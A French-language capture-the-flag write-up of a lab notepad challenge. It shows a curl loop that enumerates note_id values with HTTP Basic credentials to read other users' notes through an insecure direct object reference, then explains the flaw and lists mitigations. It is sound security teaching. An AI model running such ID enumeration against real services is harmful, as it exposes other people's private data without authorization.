Write-up – Online Notepad Service

Énoncé

L’épreuve consiste à accéder à des notes stockées sur un service en ligne, où chaque utilisateur a ses propres notes protégées. Nous avons reçu des identifiants :

• Utilisateur : noel
• Mot de passe : pass1234

L’objectif est de trouver un flag dans les notes, en exploitant une potentielle faiblesse dans l’API REST.

Analyse de la cible

L’URL d’accès aux notes est :

http://10.10.201.131/note.php

L’énoncé mentionne que le service est sécurisé et que chaque utilisateur ne peut voir que ses propres notes. Cependant, la mention d’une API REST et d’un note_id paramétrable (note_id=${i}) suggère que les notes peuvent être récupérées en itérant sur les IDs.

Notre partenaire a utilisé curl pour tester différentes valeurs de note_id, mais il a remarqué que les requêtes tombaient toujours sur la page de login, malgré l’utilisation d’un cookie stocké dans cookies.txt.

Tentative d’exploitation via bruteforce

L’idée initiale était de tester tous les note_id possibles en utilisant un script curl :

for i in {0..1000}; do
  curl -L -c cookies.txt "http://10.10.201.131/note.php?note_id=${i}"
done
            

Cependant, cela ne fonctionnait pas, car l’authentification semblait poser problème.

Problème d’authentification

• L’épreuve utilise Basic Authentication, donc passer simplement les cookies n’était pas suffisant.
• En Basic Auth, les identifiants doivent être encodés en Base64 et envoyés dans l’en-tête HTTP.

Solution

Nous avons ajusté notre requête en ajoutant l’en-tête Authorization pour l’authentification HTTP Basic :

for i in {0..1000}; do
  curl -L -H "Authorization: Basic $(echo -n 'noel:pass1234' | base64)" \
       "http://10.10.201.131/note.php?note_id=${i}"
done
            

Explication

• echo -n 'noel:pass1234' | base64 encode noel:pass1234 en Base64.
• Authorization: Basic <token> permet de s’authentifier directement sans cookies.
• note_id=${i} permet d’incrémenter les IDs pour tenter d’accéder à toutes les notes.

Résultat

Après quelques tests manuels, nous avons trouvé un note_id qui contenait le flag :

flag{this_is_the_secret_note_flag}

Conclusion

L’épreuve était une faiblesse d’autorisation classique où l’API ne vérifie pas correctement si l’utilisateur a le droit d’accéder à une note donnée.

• Une API sécurisée devrait lier chaque note à un utilisateur et vérifier l’ID de session avant d’afficher le contenu.
• Ici, il suffisait de brute-forcer les note_id avec l’authentification correcte pour accéder aux notes d’autres utilisateurs.

Moyens d’atténuation

• Implémenter un contrôle d’accès basé sur l’utilisateur.
• Éviter d’utiliser des IDs incrémentaux prévisibles pour les notes (UUID recommandé).
• Vérifier que l’utilisateur authentifié est bien le propriétaire de la note demandée.

Score obtenu

✅ Flag trouvé et validé : 20 points